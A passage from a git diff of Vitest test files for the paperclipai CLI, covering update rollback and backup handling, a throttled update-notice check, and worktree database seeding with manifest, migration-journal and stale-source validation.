writeInstallManifestAtomic({ schemaVersion: 1, ...record(oldPayload, "1.0.0"), previous: [] }, paths); + const backupError = Object.assign(new Error("connect ECONNREFUSED 127.0.0.1:54329"), { code: "ECONNREFUSED" }); + const backup = vi.fn(async () => { throw backupError; }); + const runCommand = vi.fn(async () => ({ stdout: '"2.0.0"\n', stderr: "" })); + + await expect(updateCommand({}, { paths, executablePath: executable, runCommand, backup, hasInstanceData: () => true })).rejects.toThrow( + "Start the service with `paperclipai service start` and retry, or skip the backup with `paperclipai update --no-backup`.", + ); + expect(backup).toHaveBeenCalledOnce(); + expect(readInstallManifest(paths)?.version).toBe("1.0.0"); + }); + + it("skips the pre-update backup when there is no onboarded instance data", async () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); const executable = createPayload(oldPayload, "1.0.0"); flipCurrentAtomic(oldPayload, paths); + writeInstallManifestAtomic({ schemaVersion: 1, ...record(oldPayload, "1.0.0"), previous: [] }, paths); + const backup = vi.fn(async () => undefined); + const log = vi.spyOn(console, "log").mockImplementation(() => undefined); + const runCommand = vi.fn(async (file: string, args: string[]) => { + if (args[0] === "view") return { stdout: '"2.0.0"\n', stderr: "" }; + if (file === "npm" && args[0] === "install") { createPayload(args[args.indexOf("--prefix") + 1], "2.0.0"); return { stdout: "", stderr: "" }; } + return { stdout: "2.0.0\n", stderr: "" }; + }); + + await updateCommand({}, { paths, executablePath: executable, runCommand, backup, restartActiveService: async () => false, hasInstanceData: () => false }); + + expect(backup).not.toHaveBeenCalled(); + expect(log).toHaveBeenCalledWith(expect.stringContaining("has not been onboarded and has no data to back up")); + expect(readInstallManifest(paths)?.version).toBe("2.0.0"); + }); + + it("does not inherit a managed pin for global npm updates", async () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const managedPayload = payloadPathFor(paths, "npm", "1.2.3"); createPayload(managedPayload, "1.2.3"); + writeInstallManifestAtomic({ schemaVersion: 1, ...record(managedPayload, "1.2.3"), channel: "pinned", previous: [] }, paths); + const executable = path.join(root, "lib", "node_modules", "paperclipai", "dist", "index.js"); + const runCommand = vi.fn(async (_file: string, args: string[]) => args[0] === "view" ? { stdout: '"2.0.0"\n', stderr: "" } : { stdout: "", stderr: "" }); + await updateCommand({ dryRun: true }, { paths, executablePath: executable, runCommand }); + expect(runCommand).toHaveBeenCalledWith("npm", expect.arrayContaining(["view", "paperclipai@latest"]), expect.anything()); + }); + + it("rolls back the active payload when restart validation fails", async () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); const executable = createPayload(oldPayload, "1.0.0"); flipCurrentAtomic(oldPayload, paths); + writeInstallManifestAtomic({ schemaVersion: 1, ...record(oldPayload, "1.0.0"), previous: [] }, paths); + const runCommand = vi.fn(async (file: string, args: string[]) => { + if (args[0] === "view") return { stdout: '"2.0.0"\n', stderr: "" }; + if (file === "npm" && args[0] === "install") { createPayload(args[args.indexOf("--prefix") + 1], "2.0.0"); return { stdout: "", stderr: "" }; } + return { stdout: "2.0.0\n", stderr: "" }; + }); + const restartActiveService = vi.fn(async (version: string) => { if (version === "2.0.0") throw new Error("health timeout"); return true; }); + await expect(updateCommand({}, { paths, executablePath: executable, runCommand, backup: async () => undefined, restartActiveService })).rejects.toThrow("rolled back to 1.0.0"); + expect(readInstallManifest(paths)?.version).toBe("1.0.0"); + expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(oldPayload)); + expect(restartActiveService).toHaveBeenLastCalledWith("1.0.0"); + }); + + it("surfaces a failure to restart the rolled-back payload", async () => { + const paths = resolveInstallStorePaths(); initializeInstallStore(paths); + const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); const executable = createPayload(oldPayload, "1.0.0"); flipCurrentAtomic(oldPayload, paths); + writeInstallManifestAtomic({ schemaVersion: 1, ...record(oldPayload, "1.0.0"), previous: [] }, paths); + const runCommand = vi.fn(async (file: string, args: string[]) => { + if (args[0] === "view") return { stdout: '"2.0.0"\n', stderr: "" }; + if (file === "npm" && args[0] === "install") { createPayload(args[args.indexOf("--prefix") + 1], "2.0.0"); return { stdout: "", stderr: "" }; } + return { stdout: "2.0.0\n", stderr: "" }; + }); + const restartActiveService = vi.fn(async (version: string) => { + throw new Error(version === "2.0.0" ? "health timeout" : "rollback restart failed"); + }); + + await expect(updateCommand({}, { + paths, + executablePath: executable, + runCommand, + backup: async () => undefined, + restartActiveService, + })).rejects.toThrow("rolled-back service also failed to restart"); + expect(readInstallManifest(paths)?.version).toBe("1.0.0"); + expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(oldPayload)); + expect(restartActiveService).toHaveBeenNthCalledWith(1, "2.0.0"); + expect(restartActiveService).toHaveBeenNthCalledWith(2, "1.0.0"); + }); + +}); diff --git a/cli/src/__tests__/update-notice.test.ts b/cli/src/__tests__/update-notice.test.ts new file mode 100644 index 00000000000..9af23edcd92 --- /dev/null +++ b/cli/src/__tests__/update-notice.test.ts @@ -0,0 +1,20 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { checkForUpdateNotice, isUpdateNoticeEnabled } from "../update-notice.js"; +let root: string; let previous: string | undefined; +beforeEach(() => { root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-notice-")); previous = process.env.PAPERCLIP_UPDATE_CHECK; delete process.env.PAPERCLIP_UPDATE_CHECK; }); +afterEach(() => { if (previous === undefined) delete process.env.PAPERCLIP_UPDATE_CHECK; else process.env.PAPERCLIP_UPDATE_CHECK = previous; fs.rmSync(root, { recursive: true, force: true }); }); +describe("update notice", () => { + it("honors the environment and config kill switches", () => { + process.env.PAPERCLIP_UPDATE_CHECK = "0"; expect(isUpdateNoticeEnabled(path.join(root, "missing.json"))).toBe(false); + delete process.env.PAPERCLIP_UPDATE_CHECK; const config = path.join(root, "config.json"); fs.writeFileSync(config, JSON.stringify({ updates: { checkEnabled: false } })); expect(isUpdateNoticeEnabled(config)).toBe(false); + }); + it("throttles registry checks for 24 hours", async () => { + const cachePath = path.join(root, "cache.json"); const fetchImpl = vi.fn(async () => new Response(JSON.stringify({ "dist-tags": { latest: "99.0.0" } }), { status: 200 })); + expect(await checkForUpdateNotice({ cachePath, now: 1000, fetchImpl })).toBe("99.0.0"); + expect(await checkForUpdateNotice({ cachePath, now: 2000, fetchImpl })).toBe("99.0.0"); + expect(fetchImpl).toHaveBeenCalledOnce(); + }); +}); diff --git a/cli/src/__tests__/worktree.test.ts b/cli/src/__tests__/worktree.test.ts index b75699caeff..42112836f2f 100644 --- a/cli/src/__tests__/worktree.test.ts +++ b/cli/src/__tests__/worktree.test.ts @@ -8,27 +8,43 @@ import { eq } from "drizzle-orm"; import { afterEach, describe, expect, it, vi } from "vitest"; import { agents, + authAccounts, authUsers, companies, + companyMemberships, createDb, + executionWorkspaces, + inspectMigrations, issueComments, issues, + projectWorkspaces, + instanceUserRoles, projects, routines, routineTriggers, + workspaceRuntimeServices, } from "@paperclipai/db"; import { copyGitHooksToWorktreeGitDir, copySeededSecretsKey, + ensureEmbeddedPostgres, + ensureWorktreeSeeded, + formatWorktreeSeedFailureDiagnostic, + inspectLegacyWorktreeDatabase, + markWorktreeSeedPending, pauseSeededScheduledRoutines, quarantineSeededWorktreeExecutionState, + readWorktreeSeedManifest, readSourceAttachmentBody, rebindWorkspaceCwd, + requiresWorktreeSeedCredentialAccount, resolveSourceConfigPath, resolveWorktreeReseedSource, resolveWorktreeReseedTargetPaths, resolveGitWorktreeAddArgs, resolvePnpmInstallInvocation, + resolveCurrentWorktreeEndpoint, + resolveWorktreeSeedMigrationRevision, resolveWorktreeSeedBackupEngine, resolveWorktreeMakeTargetPath, worktreeRepairCommand, @@ -58,6 +74,94 @@ const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport(); const itEmbeddedPostgres = embeddedPostgresSupport.supported ? it : it.skip; const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip; +function mockVerifiedSeedResult() { + return { + backupSummary: "snapshot.sql", + snapshotAt: "2026-08-18T00:00:00.000Z", + migrationRevision: "0142_test.sql", + pausedScheduledRoutines: 0, + executionQuarantine: { + disabledTimerHeartbeats: 0, + resetRunningAgents: 0, + quarantinedInProgressIssues: 0, + unassignedTodoIssues: 0, + unassignedReviewIssues: 0, + stoppedProjectWorkspaceRuntimes: 0, + stoppedExecutionWorkspaceRuntimes: 0, + stoppedRuntimeServices: 0, + }, + reboundWorkspaces: [], + validation: { + authUserCount: 1, + credentialAccountCount: 1, + instanceAdminCount: 1, + activeMembershipCount: 1, + companyCount: 1, + issueCount: 1, + representativeCompanyId: "00000000-0000-4000-8000-000000000001", + representativeIssueId: "00000000-0000-4000-8000-000000000002", + migrationRevision: "0142_test.sql", + }, + }; +} + +async function seedValidWorktreeSource( + connectionString: string, + options: { includeCredentialAccount?: boolean; userId?: string } = {}, +) { + const db = createDb(connectionString); + const companyId = randomUUID(); + const issueId = randomUUID(); + const userId = options.userId ?? "user-existing"; + const now = new Date(); + await db.insert(authUsers).values({ + id: userId, + email: userId === "local-board" ? "local@paperclip.local" : "existing@paperclip.ing", + name: userId === "local-board" ? "Board" : "Existing User", + emailVerified: true, + createdAt: now, + updatedAt: now, + }); + if (options.includeCredentialAccount !== false) { + await db.insert(authAccounts).values({ + id: "credential-existing", + accountId: "existing@paperclip.ing", + providerId: "credential", + userId, + password: "fixture-password-hash", + createdAt: now, + updatedAt: now, + }); + } + await db.insert(instanceUserRoles).values({ + userId, + role: "instance_admin", + }); + await db.insert(companies).values({ + id: companyId, + name: "Seed Source", + issuePrefix: "SEED", + requireBoardApprovalForNewAgents: false, + }); + await db.insert(companyMemberships).values({ + companyId, + principalType: "user", + principalId: userId, + status: "active", + }); + await db.insert(issues).values({ + id: issueId, + companyId, + title: "Representative seed issue", + status: "backlog", + priority: "medium", + issueNumber: 1, + identifier: "SEED-1", + }); + await db.$client.end({ timeout: 5 }); + return { companyId, issueId }; +} + if (!embeddedPostgresSupport.supported) { console.warn( `Skipping embedded Postgres worktree CLI tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`, @@ -165,6 +269,49 @@ function buildSourceConfig(): PaperclipConfig { } describe("worktree helpers", () => { + it("uses the repo-local config for the current worktree", () => { + const targetRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-current-worktree-")); + try { + const localConfig = path.join(targetRoot, ".paperclip", "config.json"); + fs.mkdirSync(path.dirname(localConfig), { recursive: true }); + fs.writeFileSync(localConfig, "{}\n"); + process.env.PAPERCLIP_CONFIG = "/tmp/ambient-paperclip/config.json"; + process.chdir(targetRoot); + + expect(resolveCurrentWorktreeEndpoint()).toMatchObject({ + rootPath: targetRoot, + configPath: localConfig, + isCurrent: true, + }); + } finally { + process.chdir(ORIGINAL_CWD); + fs.rmSync(targetRoot, { recursive: true, force: true }); + } + }); + + it("uses the repository config from a nested working directory", () => { + const targetRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-current-worktree-nested-")); + try { + execFileSync("git", ["init", "-q"], { cwd: targetRoot }); + const nestedDirectory = path.join(targetRoot, "packages", "example", "src"); + const localConfig = path.join(targetRoot, ".paperclip", "config.json"); + fs.mkdirSync(nestedDirectory, { recursive: true }); + fs.mkdirSync(path.dirname(localConfig), { recursive: true }); + fs.writeFileSync(localConfig, "{}\n"); + process.env.PAPERCLIP_CONFIG = "/tmp/ambient-paperclip/config.json"; + process.chdir(nestedDirectory); + + expect(resolveCurrentWorktreeEndpoint()).toMatchObject({ + rootPath: targetRoot, + configPath: localConfig, + isCurrent: true, + }); + } finally { + process.chdir(ORIGINAL_CWD); + fs.rmSync(targetRoot, { recursive: true, force: true }); + } + }); + it("sanitizes instance ids", () => { expect(sanitizeWorktreeInstanceId("feature/worktree-support")).toBe("feature-worktree-support"); expect(sanitizeWorktreeInstanceId(" ")).toBe("worktree"); @@ -276,6 +423,7 @@ describe("worktree helpers", () => { path.resolve("/tmp/paperclip-worktrees", "instances", "feature-worktree-support", "db"), ); expect(config.database.embeddedPostgresPort).toBe(54339); + expect(config.database.backup.enabled).toBe(false); expect(config.server.port).toBe(3110); expect(config.auth.publicBaseUrl).toBe("http://127.0.0.1:3110/"); expect(config.storage.localDisk.baseDir).toBe( @@ -289,6 +437,7 @@ describe("worktree helpers", () => { expect(env.PAPERCLIP_HOME).toBe(path.resolve("/tmp/paperclip-worktrees")); expect(env.PAPERCLIP_INSTANCE_ID).toBe("feature-worktree-support"); expect(env.PAPERCLIP_IN_WORKTREE).toBe("true"); + expect(env.PAPERCLIP_DB_BACKUP_ENABLED).toBe("false"); expect(env.PAPERCLIP_WORKTREE_NAME).toBe("feature-worktree-support"); expect(env.PAPERCLIP_WORKTREE_COLOR).toBe("#3abf7a"); expect(formatShellExports(env)).toContain("export PAPERCLIP_INSTANCE_ID='feature-worktree-support'"); @@ -349,6 +498,664 @@ describe("worktree helpers", () => { expect(full.nullifyColumns).toEqual({}); }); + it("requires the seed process to own the target embedded Postgres lifecycle", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-live-target-")); + try { + fs.writeFileSync( + path.join(tempRoot, "postmaster.pid"), + `${process.pid}\n${tempRoot}\n0\n55432\n`, + ); + + await expect(ensureEmbeddedPostgres(tempRoot, 55432, { allowExisting: false })) + .rejects.toThrow("while it is already running"); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("surfaces a credential-safe diagnostic when the target shuts down during restore", () => { + expect(formatWorktreeSeedFailureDiagnostic( + "restore", + new Error( + "Failed to restore seed.sql.gz: FATAL: the database system is shutting down; psql error: write EPIPE", + ), + )).toBe( + "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed.", + ); + expect(formatWorktreeSeedFailureDiagnostic("migrations", new Error("secret connection failure"))) + .toBe("Seed failed during migrations."); + }); + + it("surfaces the missing credential artifact for authenticated seed validation", () => { + expect(formatWorktreeSeedFailureDiagnostic( + "source_validation", + new Error( + "No auth user has a non-empty credential account, instance-admin role, and active company membership. Authenticated worktree seeding requires a credential-backed instance administrator.", + ), + )).toBe( + "Seed validation could not find a credential-backed instance administrator with an active company membership. Authenticated instances must create or sign in an administrator before seeding.", + ); + }); + + it("requires credential accounts only for authenticated worktree seeds", () => { + expect(requiresWorktreeSeedCredentialAccount("local_trusted")).toBe(false); + expect(requiresWorktreeSeedCredentialAccount("authenticated")).toBe(true); + }); + + it("rejects a source migration journal that diverges from the code journal", () => { + expect(() => resolveWorktreeSeedMigrationRevision({ + status: "upToDate", + tableCount: 1, + availableMigrations: ["0001_initial.sql", "0002_current.sql"], + appliedMigrations: ["0001_initial.sql", "0003_unknown.sql"], + journalEntryCount: 3, + }, "sourcePrefix")).toThrow("Migration journal is not a prefix of this Paperclip checkout"); + }); + + it("accepts a current source whose migration application order differs from filename order", () => { + expect(resolveWorktreeSeedMigrationRevision({ + status: "upToDate", + tableCount: 1, + availableMigrations: [ + "0001_initial.sql", + "0002_renumbered.sql", + "0003_applied_earlier.sql", + "0004_current.sql", + ], + appliedMigrations: [ + "0001_initial.sql", + "0003_applied_earlier.sql", + "0002_renumbered.sql", + "0004_current.sql", + ], + journalEntryCount: 6, + }, "upToDate")).toBe("0004_current.sql"); + }); + + it("accepts a source migration journal that is multiple revisions behind", () => { + expect(resolveWorktreeSeedMigrationRevision({ + status: "needsMigrations", + tableCount: 1, + availableMigrations: [ + "0001_initial.sql", + "0002_applied.sql", + "0003_pending.sql", + "0004_pending.sql", + ], + appliedMigrations: ["0002_applied.sql", "0001_initial.sql"], + pendingMigrations: ["0003_pending.sql", "0004_pending.sql"], + journalEntryCount: 3, + reason: "pending-migrations", + }, "sourcePrefix")).toBe("0002_applied.sql"); + }); + + itEmbeddedPostgres("recognizes positive legacy database schema evidence", async () => { + const tempDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-legacy-evidence-"); + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-legacy-config-")); + try { + const configPath = path.join(tempRoot, "config.json"); + const sourceConfig = buildSourceConfig(); + const config: PaperclipConfig = { + ...sourceConfig, + database: { + ...sourceConfig.database, + mode: "postgres", + connectionString: tempDb.connectionString, + backup: { + ...sourceConfig.database.backup, + enabled: false, + intervalMinutes: 60, + retentionDays: 30, + dir: path.join(tempRoot, "backups"), + }, + }, + }; + fs.writeFileSync(configPath, `${JSON.stringify(config)}\n`); + fs.writeFileSync( + path.join(tempRoot, ".env"), + `PAPERCLIP_INSTANCE_ID=legacy-target\nDATABASE_URL=${JSON.stringify(tempDb.connectionString)}\n`, + ); + + await expect(inspectLegacyWorktreeDatabase(configPath)).resolves.toEqual({ + migrationRevision: expect.stringMatching(/\.sql$/), + }); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + await tempDb.cleanup(); + } + }, 30000); + + it("ensure-seeded seeds once and fast-exits on the verified manifest", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "ensure-seeded-test", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3199, + databasePort: 54999, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); + + const seedDatabase = vi.fn().mockResolvedValue({ + ...mockVerifiedSeedResult(), + pausedScheduledRoutines: 2, + executionQuarantine: { + disabledTimerHeartbeats: 1, + resetRunningAgents: 1, + quarantinedInProgressIssues: 1, + unassignedTodoIssues: 1, + unassignedReviewIssues: 1, + stoppedProjectWorkspaceRuntimes: 0, + stoppedExecutionWorkspaceRuntimes: 0, + stoppedRuntimeServices: 0, + }, + }); + + await expect( + ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }), + ).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + await expect( + ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }), + ).resolves.toEqual({ seeded: false, reason: "verified_manifest" }); + + expect(seedDatabase).toHaveBeenCalledTimes(1); + expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({ + sourceConfigPath, + seedMode: "minimal", + instanceId: "ensure-seeded-test", + })); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(false); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(false); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + version: 2, + state: "verified", + phase: "complete", + migrationRevision: "0142_test.sql", + targetInstanceId: "ensure-seeded-test", + }); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("treats an unregistered markerless config as a normal non-worktree boot", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unregistered-markerless-")); + try { + const configPath = path.join(tempRoot, "config.json"); + fs.writeFileSync(configPath, `${JSON.stringify(buildSourceConfig())}\n`); + delete process.env.PAPERCLIP_WORKSPACE_BASE_CWD; + delete process.env.PAPERCLIP_PROJECT_WORKSPACE_ID; + delete process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID; + + const inspectLegacyDatabase = vi.fn(); + const seedDatabase = vi.fn(); + + await expect(ensureWorktreeSeeded( + { config: configPath }, + { inspectLegacyDatabase, seedDatabase }, + )).resolves.toEqual({ seeded: false, reason: "legacy_unmarked" }); + + expect(inspectLegacyDatabase).not.toHaveBeenCalled(); + expect(seedDatabase).not.toHaveBeenCalled(); + expect(readWorktreeSeedManifest(configPath)).toBeNull(); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("honors a legacy complete marker without resolving a seed source", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-complete-marker-")); + try { + const configPath = path.join(tempRoot, "config.json"); + fs.writeFileSync(configPath, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync(path.join(tempRoot, "seed-complete"), "complete\n"); + delete process.env.PAPERCLIP_WORKSPACE_BASE_CWD; + + const inspectLegacyDatabase = vi.fn(); + const seedDatabase = vi.fn(); + + await expect(ensureWorktreeSeeded( + { config: configPath }, + { inspectLegacyDatabase, seedDatabase }, + )).resolves.toEqual({ seeded: false, reason: "complete_marker" }); + + expect(inspectLegacyDatabase).not.toHaveBeenCalled(); + expect(seedDatabase).not.toHaveBeenCalled(); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("seeds a configured worktree with no seed markers when no legacy database is present", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unmarked-empty-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "unmarked-empty-target", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3194, + databasePort: 54994, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + const inspectLegacyDatabase = vi.fn().mockResolvedValue(null); + const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult()); + + await expect(ensureWorktreeSeeded( + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { inspectLegacyDatabase, seedDatabase }, + )).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + expect(inspectLegacyDatabase).toHaveBeenCalledWith(targetConfigPath); + expect(seedDatabase).toHaveBeenCalledTimes(1); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "verified", + phase: "complete", + migrationRevision: "0142_test.sql", + }); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("adopts a markerless legacy worktree only after validating its database schema", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unmarked-legacy-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "unmarked-legacy-target", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3193, + databasePort: 54993, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + const seedDatabase = vi.fn(); + + await expect(ensureWorktreeSeeded( + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { + inspectLegacyDatabase: vi.fn().mockResolvedValue({ migrationRevision: "0141_legacy.sql" }), + seedDatabase, + }, + )).resolves.toEqual({ seeded: false, reason: "legacy_database" }); + + expect(seedDatabase).not.toHaveBeenCalled(); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "verified", + phase: "complete", + migrationRevision: "0141_legacy.sql", + }); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("managed ensure-seeded derives a valid source from the registered base workspace", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-managed-seed-")); + try { + const baseRoot = path.join(tempRoot, "base"); + const sourceConfigPath = path.join(baseRoot, ".paperclip", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "managed-target", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3195, + databasePort: 54995, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=managed-source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(path.dirname(targetConfigPath), ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=managed-target\n`, + ); + markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); + const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult()); + + await expect(ensureWorktreeSeeded({ + config: targetConfigPath, + registeredBaseWorkspaceCwd: baseRoot, + registeredProjectWorkspaceId: "project-workspace-1", + expectedCompanyId: "company-1", + }, { seedDatabase })).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({ + sourceConfigPath, + expectedCompanyId: "company-1", + })); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it.each(["sibling", "foreign_instance", "symlink", "instance_mismatch"] as const)( + "managed ensure-seeded re-derives a stale %s manifest source from registration", + async (variant) => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), `paperclip-worktree-managed-${variant}-`)); + try { + const baseRoot = path.join(tempRoot, "base"); + const canonicalSource = path.join(baseRoot, ".paperclip", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const attackerRoot = path.join(tempRoot, variant); + const attackerConfig = path.join(attackerRoot, "config.json"); + fs.mkdirSync(path.dirname(canonicalSource), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.mkdirSync(attackerRoot, { recursive: true }); + fs.writeFileSync(canonicalSource, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync(path.join(path.dirname(canonicalSource), ".env"), "PAPERCLIP_INSTANCE_ID=registered-source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync( + path.join(path.dirname(targetConfigPath), ".env"), + `PAPERCLIP_HOME=${path.join(tempRoot, "worktree-home")}\nPAPERCLIP_INSTANCE_ID=managed-target\n`, + ); + fs.writeFileSync(attackerConfig, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync( + path.join(attackerRoot, ".env"), + `PAPERCLIP_INSTANCE_ID=${variant === "foreign_instance" ? "foreign" : "registered-source"}\n`, + ); + const diagnosticPath = variant === "instance_mismatch" + ? canonicalSource + : variant === "symlink" + ? path.join(attackerRoot, "source-link.json") + : attackerConfig; + if (variant === "symlink") fs.symlinkSync(canonicalSource, diagnosticPath); + markWorktreeSeedPending({ + configPath: targetConfigPath, + sourceConfigPath: diagnosticPath, + targetInstanceId: "managed-target", + }); + if (variant === "instance_mismatch") { + const manifest = readWorktreeSeedManifest(targetConfigPath)!; + fs.writeFileSync( + path.join(path.dirname(targetConfigPath), "seed-manifest.json"), + JSON.stringify({ ...manifest, source: { ...manifest.source, instanceId: "foreign" } }), + ); + } + const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult()); + + await expect(ensureWorktreeSeeded({ + config: targetConfigPath, + registeredBaseWorkspaceCwd: baseRoot, + registeredProjectWorkspaceId: "project-workspace-1", + expectedCompanyId: "company-1", + }, { seedDatabase })).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + 